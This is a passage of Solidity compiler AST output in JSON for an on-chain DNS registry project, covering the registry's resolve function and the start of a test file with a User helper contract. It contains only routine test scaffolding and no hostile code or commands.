"}],\"id\":273,\"name\":\"VariableDeclaration\",\"src\":\"2694:6:1\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"owner\",\"scope\":307,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":274,\"name\":\"ElementaryTypeName\",\"src\":\"2702:7:1\"}],\"id\":275,\"name\":\"VariableDeclaration\",\"src\":\"2702:13:1\"}],\"id\":276,\"name\":\"ParameterList\",\"src\":\"2693:23:1\"},{\"children\":[{\"attributes\":{\"assignments\":[278,280]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"upgrade\",\"scope\":306,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":277,\"name\":\"ElementaryTypeName\",\"src\":\"2722:4:1\"}],\"id\":278,\"name\":\"VariableDeclaration\",\"src\":\"2722:12:1\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"to\",\"scope\":306,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":279,\"name\":\"UserDefinedTypeName\",\"src\":\"2736:4:1\"}],\"id\":280,\"name\":\"VariableDeclaration\",\"src\":\"2736:7:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bool,contract IDNS)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"activeUpgrade\",\"referencedDeclaration\":1886,\"type\":\"function (address) view external returns (bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":16,\"type\":\"contract Upgrade\",\"value\":\"upgradeInfo\"},\"id\":281,\"name\":\"Identifier\",\"src\":\"2747:11:1\"}],\"id\":282,\"name\":\"MemberAccess\",\"src\":\"2747:25:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":283,\"name\":\"Identifier\",\"src\":\"2773:3:1\"}],\"id\":284,\"name\":\"MemberAccess\",\"src\":\"2773:10:1\"}],\"id\":285,\"name\":\"FunctionCall\",\"src\":\"2747:37:1\"}],\"id\":286,\"name\":\"VariableDeclarationStatement\",\"src\":\"2721:63:1\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":278,\"type\":\"bool\",\"value\":\"upgrade\"},\"id\":287,\"name\":\"Identifier\",\"src\":\"2792:7:1\"},{\"attributes\":{\"functionReturnParameters\":276},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":1461,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":288,\"name\":\"Identifier\",\"src\":\"2811:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":280,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":289,\"name\":\"Identifier\",\"src\":\"2816:2:1\"}],\"id\":290,\"name\":\"FunctionCall\",\"src\":\"2811:8:1\"}],\"id\":291,\"name\":\"MemberAccess\",\"src\":\"2811:16:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":269,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":292,\"name\":\"Identifier\",\"src\":\"2828:7:1\"}],\"id\":293,\"name\":\"FunctionCall\",\"src\":\"2811:25:1\"}],\"id\":294,\"name\":\"Return\",\"src\":\"2804:32:1\"}],\"id\":295,\"name\":\"IfStatement\",\"src\":\"2788:48:1\"},{\"attributes\":{\"functionReturnParameters\":276},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":13,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":296,\"name\":\"Identifier\",\"src\":\"2848:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":269,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":297,\"name\":\"Identifier\",\"src\":\"2853:7:1\"}],\"id\":298,\"name\":\"IndexAccess\",\"src\":\"2848:13:1\"}],\"id\":299,\"name\":\"MemberAccess\",\"src\":\"2848:16:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":13,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":300,\"name\":\"Identifier\",\"src\":\"2866:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":269,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":301,\"name\":\"Identifier\",\"src\":\"2871:7:1\"}],\"id\":302,\"name\":\"IndexAccess\",\"src\":\"2866:13:1\"}],\"id\":303,\"name\":\"MemberAccess\",\"src\":\"2866:19:1\"}],\"id\":304,\"name\":\"TupleExpression\",\"src\":\"2847:39:1\"}],\"id\":305,\"name\":\"Return\",\"src\":\"2840:46:1\"}],\"id\":306,\"name\":\"Block\",\"src\":\"2717:173:1\"}],\"id\":307,\"name\":\"FunctionDefinition\",\"src\":\"2622:268:1\"}],\"id\":308,\"name\":\"ContractDefinition\",\"src\":\"596:2296:1\"}],\"id\":309,\"name\":\"SourceUnit\",\"src\":\"36:2857:1\"}},\"src/DNSTest.t.sol\":{\"AST\":{\"attributes\":{\"absolutePath\":\"src/DNSTest.t.sol\",\"exportedSymbols\":{\"DNS\":[308],\"DNSTest\":[1362],\"DSTest\":[2747],\"HEVMCheat\":[1417],\"IDNS\":[1462],\"MalDNS\":[1723],\"Upgrade\":[2050],\"UpgradedDNS\":[2303],\"User\":[443]},\"license\":\"GPL-v3\"},\"children\":[{\"attributes\":{\"literals\":[\"solidity\",\"^\",\"0.7\",\".0\"]},\"id\":310,\"name\":\"PragmaDirective\",\"src\":\"36:23:2\"},{\"attributes\":{\"literals\":[\"experimental\",\"ABIEncoderV2\"]},\"id\":311,\"name\":\"PragmaDirective\",\"src\":\"60:33:2\"},{\"attributes\":{\"SourceUnit\":309,\"absolutePath\":\"src/DNS.sol\",\"file\":\"./DNS.sol\",\"scope\":1363,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":312,\"name\":\"ImportDirective\",\"src\":\"95:19:2\"},{\"attributes\":{\"SourceUnit\":2051,\"absolutePath\":\"src/Upgrade.sol\",\"file\":\"./Upgrade.sol\",\"scope\":1363,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":313,\"name\":\"ImportDirective\",\"src\":\"115:23:2\"},{\"attributes\":{\"SourceUnit\":2304,\"absolutePath\":\"src/UpgradedDNS.sol\",\"file\":\"./UpgradedDNS.sol\",\"scope\":1363,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":314,\"name\":\"ImportDirective\",\"src\":\"139:27:2\"},{\"attributes\":{\"SourceUnit\":1724,\"absolutePath\":\"src/MalDNS.sol\",\"file\":\"./MalDNS.sol\",\"scope\":1363,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":315,\"name\":\"ImportDirective\",\"src\":\"167:22:2\"},{\"attributes\":{\"SourceUnit\":1418,\"absolutePath\":\"src/HEVMCheat.sol\",\"file\":\"./HEVMCheat.sol\",\"scope\":1363,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":316,\"name\":\"ImportDirective\",\"src\":\"191:25:2\"},{\"attributes\":{\"SourceUnit\":2748,\"absolutePath\":\"lib/ds-test/src/test.sol\",\"file\":\"ds-test/test.sol\",\"scope\":1363,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":317,\"name\":\"ImportDirective\",\"src\":\"217:26:2\"},{\"attributes\":{\"abstract\":false,\"baseContracts\":[null],\"contractDependencies\":[null],\"contractKind\":\"contract\",\"fullyImplemented\":true,\"linearizedBaseContracts\":[443],\"name\":\"User\",\"scope\":1363},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"immutable\",\"name\":\"dns\",\"scope\":443,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":318,\"name\":\"UserDefinedTypeName\",\"src\":\"262:4:2\"}],\"id\":319,\"name\":\"VariableDeclaration\",\"src\":\"262:18:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"immutable\",\"name\":\"upgrade\",\"scope\":443,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract Upgrade\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":320,\"name\":\"UserDefinedTypeName\",\"src\":\"283:7:2\"}],\"id\":321,\"name\":\"VariableDeclaration\",\"src\":\"283:25:2\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":true,\"kind\":\"constructor\",\"modifiers\":[null],\"name\":\"\",\"scope\":443,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_dns\",\"scope\":337,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":322,\"name\":\"UserDefinedTypeName\",\"src\":\"324:4:2\"}],\"id\":323,\"name\":\"VariableDeclaration\",\"src\":\"324:9:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_upgrade\",\"scope\":337,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract Upgrade\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":324,\"name\":\"UserDefinedTypeName\",\"src\":\"335:7:2\"}],\"id\":325,\"name\":\"VariableDeclaration\",\"src\":\"335:16:2\"}],\"id\":326,\"name\":\"ParameterList\",\"src\":\"323:29:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":327,\"name\":\"ParameterList\",\"src\":\"353:0:2\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract IDNS\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":319,\"type\":\"contract IDNS\",\"value\":\"dns\"},\"id\":328,\"name\":\"Identifier\",\"src\":\"357:3:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":323,\"type\":\"contract IDNS\",\"value\":\"_dns\"},\"id\":329,\"name\":\"Identifier\",\"src\":\"363:4:2\"}],\"id\":330,\"name\":\"Assignment\",\"src\":\"357:10:2\"}],\"id\":331,\"name\":\"ExpressionStatement\",\"src\":\"357:10:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract Upgrade\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":321,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":332,\"name\":\"Identifier\",\"src\":\"371:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":325,\"type\":\"contract Upgrade\",\"value\":\"_upgrade\"},\"id\":333,\"name\":\"Identifier\",\"src\":\"381:8:2\"}],\"id\":334,\"name\":\"Assignment\",\"src\":\"371:18:2\"}],\"id\":335,\"name\":\"ExpressionStatement\",\"src\":\"371:18:2\"}],\"id\":336,\"name\":\"Block\",\"src\":\"353:40:2\"}],\"id\":337,\"name\":\"FunctionDefinition\",\"src\":\"312:81:2\"},{\"attributes\":{\"functionSelector\":\"9be1238f\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"register\",\"scope\":443,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":356,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":338,\"name\":\"ElementaryTypeName\",\"src\":\"414:6:2\"}],\"id\":339,\"name\":\"VariableDeclaration\",\"src\":\"414:21:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":356,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":340,\"name\":\"ElementaryTypeName\",\"src\":\"437:6:2\"}],\"id\":341,\"name\":\"VariableDeclaration\",\"src\":\"437:10:2\"}],\"id\":342,\"name\":\"ParameterList\",\"src\":\"413:35:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":343,\"name\":\"ParameterList\",\"src\":\"458:0:2\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"register\",\"referencedDeclaration\":1435,\"type\":\"function (string memory,bytes4,address) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":319,\"type\":\"contract IDNS\",\"value\":\"dns\"},\"id\":344,\"name\":\"Identifier\",\"src\":\"462:3:2\"}],\"id\":346,\"name\":\"MemberAccess\",\"src\":\"462:12:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":339,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":347,\"name\":\"Identifier\",\"src\":\"475:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":341,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":348,\"name\":\"Identifier\",\"src\":\"484:3:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":349,\"name\":\"ElementaryTypeName\",\"src\":\"489:7:2\"}],\"id\":350,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"489:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-28,\"type\":\"contract User\",\"value\":\"this\"},\"id\":351,\"name\":\"Identifier\",\"src\":\"497:4:2\"}],\"id\":352,\"name\":\"FunctionCall\",\"src\":\"489:13:2\"}],\"id\":353,\"name\":\"FunctionCall\",\"src\":\"462:41:2\"}],\"id\":354,\"name\":\"ExpressionStatement\",\"src\":\"462:41:2\"}],\"id\":355,\"name\":\"Block\",\"src\":\"458:49:2\"}],\"id\":356,\"name\":\"FunctionDefinition\",\"src\":\"396:111:2\"},{\"attributes\":{\"functionSelector\":\"f7a46696\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"update\",\"scope\":443,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":371,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":357,\"name\":\"ElementaryTypeName\",\"src\":\"526:6:2\"}],\"id\":358,\"name\":\"VariableDeclaration\",\"src\":\"526:21:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":371,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":359,\"name\":\"ElementaryTypeName\",\"src\":\"549:6:2\"}],\"id\":360,\"name\":\"VariableDeclaration\",\"src\":\"549:10:2\"}],\"id\":361,\"name\":\"ParameterList\",\"src\":\"525:35:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":362,\"name\":\"ParameterList\",\"src\":\"570:0:2\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"update\",\"referencedDeclaration\":1443,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":319,\"type\":\"contract IDNS\",\"value\":\"dns\"},\"id\":363,\"name\":\"Identifier\",\"src\":\"574:3:2\"}],\"id\":365,\"name\":\"MemberAccess\",\"src\":\"574:10:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":358,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":366,\"name\":\"Identifier\",\"src\":\"585:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":360,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":367,\"name\":\"Identifier\",\"src\":\"594:3:2\"}],\"id\":368,\"name\":\"FunctionCall\",\"src\":\"574:24:2\"}],\"id\":369,\"name\":\"ExpressionStatement\",\"src\":\"574:24:2\"}],\"id\":370,\"name\":\"Block\",\"src\":\"570:32:2\"}],\"id\":371,\"name\":\"FunctionDefinition\",\"src\":\"510:92:2\"},{\"attributes\":{\"functionSelector\":\"63c95186\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"updateViaCustomDNS\",\"scope\":443,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":388,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":372,\"name\":\"ElementaryTypeName\",\"src\":\"633:6:2\"}],\"id\":373,\"name\":\"VariableDeclaration\",\"src\":\"633:21:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":388,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":374,\"name\":\"ElementaryTypeName\",\"src\":\"656:6:2\"}],\"id\":375,\"name\":\"VariableDeclaration\",\"src\":\"656:10:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_dns\",\"scope\":388,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":376,\"name\":\"UserDefinedTypeName\",\"src\":\"668:4:2\"}],\"id\":377,\"name\":\"VariableDeclaration\",\"src\":\"668:9:2\"}],\"id\":378,\"name\":\"ParameterList\",\"src\":\"632:46:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":379,\"name\":\"ParameterList\",\"src\":\"688:0:2\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"update\",\"referencedDeclaration\":1443,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":377,\"type\":\"contract IDNS\",\"value\":\"_dns\"},\"id\":380,\"name\":\"Identifier\",\"src\":\"692:4:2\"}],\"id\":382,\"name\":\"MemberAccess\",\"src\":\"692:11:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":373,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":383,\"name\":\"Identifier\",\"src\":\"704:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":375,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":384,\"name\":\"Identifier\",\"src\":\"713:3:2\"}],\"id\":385,\"name\":\"FunctionCall\",\"src\":\"692:25:2\"}],\"id\":386,\"name\":\"ExpressionStatement\",\"src\":\"692:25:2\"}],\"id\":387,\"name\":\"Block\",\"src\":\"688:33:2\"}],\"id\":388,\"name\":\"FunctionDefinition\",\"src\":\"605:116:2\"},{\"attributes\":{\"functionSelector\":\"fbf58b3e\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"transfer\",\"scope\":443,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":403,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":389,\"name\":\"ElementaryTypeName\",\"src\":\"742:6:2\"}],\"id\":390,\"name\":\"VariableDeclaration\",\"src\":\"742:21:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_owner\",\"scope\":403,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":391,\"name\":\"ElementaryTypeName\",\"src\":\"765:7:2\"}],\"id\":392,\"name\":\"VariableDeclaration\",\"src\":\"765:14:2\"}],\"id\":393,\"name\":\"ParameterList\",\"src\":\"741:39:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":394,\"name\":\"ParameterList\",\"src\":\"790:0:2\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"transfer\",\"referencedDeclaration\":1451,\"type\":\"function (string memory,address) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":319,\"type\":\"contract IDNS\",\"value\":\"dns\"},\"id\":395,\"name\":\"Identifier\",\"src\":\"794:3:2\"}],\"id\":397,\"name\":\"MemberAccess\",\"src\":\"794:12:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":390,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":398,\"name\":\"Identifier\",\"src\":\"807:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":392,\"type\":\"address\",\"value\":\"_owner\"},\"id\":399,\"name\":\"Identifier\",\"src\":\"816:6:2\"}],\"id\":400,\"name\":\"FunctionCall\",\"src\":\"794:29:2\"}],\"id\":401,\"name\":\"ExpressionStatement\",\"src\":\"794:29:2\"}],\"id\":402,\"name\":\"Block\",\"src\":\"790:37:2\"}],\"id\":403,\"name\":\"FunctionDefinition\",\"src\":\"724:103:2\"},{\"attributes\":{\"functionSelector\":\"461a4478\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"resolve\",\"scope\":443,\"stateMutability\":\"view\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":418,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":404,\"name\":\"ElementaryTypeName\",\"src\":\"847:6:2\"}],\"id\":405,\"name\":\"VariableDeclaration\",\"src\":\"847:21:2\"}],\"id\":406,\"name\":\"ParameterList\",\"src\":\"846:23:2\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":418,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":407,\"name\":\"ElementaryTypeName\",\"src\":\"893:6:2\"}],\"id\":408,\"name\":\"VariableDeclaration\",\"src\":\"893:6:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":418,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":409,\"name\":\"ElementaryTypeName\",\"src\":\"901:7:2\"}],\"id\":410,\"name\":\"VariableDeclaration\",\"src\":\"901:7:2\"}],\"id\":411,\"name\":\"ParameterList\",\"src\":\"892:17:2\"},{\"children\":[{\"attributes\":{\"functionReturnParameters\":411},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"is